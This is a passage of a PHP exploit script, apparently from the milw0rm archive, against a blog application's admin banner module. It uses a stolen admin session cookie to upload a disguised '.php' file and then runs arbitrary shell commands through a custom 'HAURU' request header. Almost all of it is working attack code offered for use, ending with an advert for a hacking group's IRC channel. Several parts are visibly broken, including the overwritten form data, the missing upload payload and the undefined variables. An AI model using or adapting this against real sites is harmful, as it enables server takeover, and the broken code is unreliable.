126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$argv[1]; $path=$argv[2]; $adsess=$argv[3]; $cmd=""; $port=80; $proxy=""; for ($i=4; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "Connected...\n"; $data ="--H4ck\r\n"; $data.="Content-Disposition: form-data; name=\"url\";\r\n\r\n"; $data.="http://kacper.bblog.pl/\r\n"; $data ="--H4ck\r\n"; $data.="Content-Disposition: form-data; name=\"limit\";\r\n\r\n"; $data.="0\r\n"; $data ="--H4ck\r\n"; $data.="Content-Disposition: form-data; name=\"image\";\r\n\r\n"; $data.="1\r\n"; $data ="--H4ck\r\n"; $data.="Content-Disposition: form-data; name=\"form\";\r\n\r\n"; $data.="1\r\n"; $data ="--H4ck\r\n"; $data.="Content-Disposition: form-data; name=\"image_form\" filename=\"d.jpg.vil.gif.php\";\r\n\r\n"; $data.="Content-Type: text/plain\r\n"; $data.="Content-Transfer-Encoding: binary\r\n"; $data.='\r\n'; $data ="--H4ck\r\n"; $data.="Content-Disposition: form-data; name=\"image_http\";\r\n\r\n"; $data.="http://\r\n"; $data ="--H4ck\r\n"; $data.="Content-Disposition: form-data; name=\"swf\";\r\n\r\n"; $data.="0\r\n"; $data ="--H4ck\r\n"; $data.="Content-Disposition: form-data; name=\"alt\";\r\n\r\n"; $data.="0\r\n"; $data ="--H4ck\r\n"; $data.="Content-Disposition: form-data; name=\"submit\";\r\n\r\n"; $data.="Add\r\n"; $data.="--H4ck--\r\n"; echo "wait now insert evil code...\n"; $packet ="POST ".$p."index.php?module=admin&action=banners&cmd=add HTTP/1.0\r\n"; $packet.="Cookie: phpBP2=".$adsess.";\r\n"; $packet.="Content-Type: multipart/form-data; boundary=--H4ck\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacket($packet); $packet ="GET ".$p."index.php?module=admin&action=banners HTTP/1.0\r\n"; $packet.="Cookie: phpBP2=".$adsess.";\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacket($packet); $temp=explode('',$temp[1]); $uploadid=trim($temp2[0]); if ($uploadid) {echo "Step 1\n"; echo "Upload id: ".$uploadid."\n"; $packet ="GET ".$p."upload/banners/".$uploadid.".php HTTP/1.0\r\n"; $packet.="HAURU: ".$cmd."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacket($packet); sleep(1); }else { echo "exploit failed... can't upload script :/\n"; echo "Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam\r\n"; die("\n\nClose Connection"); } if (strstr($html,"Hauru")) { $temp=explode("Hauru",$html); die($temp[1]); } ?> # milw0rm.com [2007-01-18]